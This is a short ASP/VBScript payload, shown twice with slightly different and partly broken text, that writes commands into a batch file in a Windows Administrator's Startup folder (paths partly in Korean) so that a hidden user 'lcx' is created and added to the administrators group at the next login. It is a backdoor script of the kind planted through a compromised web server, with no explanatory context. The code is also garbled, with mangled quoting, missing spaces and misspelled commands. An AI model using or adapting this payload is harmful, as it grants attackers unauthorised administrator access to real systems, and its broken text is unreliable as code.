<%on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream")lcx.Open lcx.Type=2 lcx.CharSet="gb 2312"lcx.LoadFromFile"C:\\Documents and Settings\\관리자\"시작"메뉴\\프로그램\시작\cook.bat"lcx.Position=lcx.Size lcx.writetext"net user lcx lcx lcx/add"&"net localgroup administrators lcx/add"lcx.SaveToFile"C:\Documents and Settings\\Administrator\시작 메뉴\프로그램\시작\\cook.bat",lcx.Close set lcx=nothing%><%on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream")lcx.Open lcx.Type=2 lcx.CharSet="gb 2312"lcx.LoadFromFile"C:\\Documents and Settings\\Administrator\\"start"메뉴\\프로그램\시작\cook.bat"lcx.Position=lcx.Size lcx.writetext"net user lcx lcx/add"&"net local group administrators lc.x/add"lcx.SaveToFile"C:\\Documents and Settings\\관리자\\시작 메뉴\\프로그램\시작\cook.bat",2 lcx.Close set lcx=nothing%>
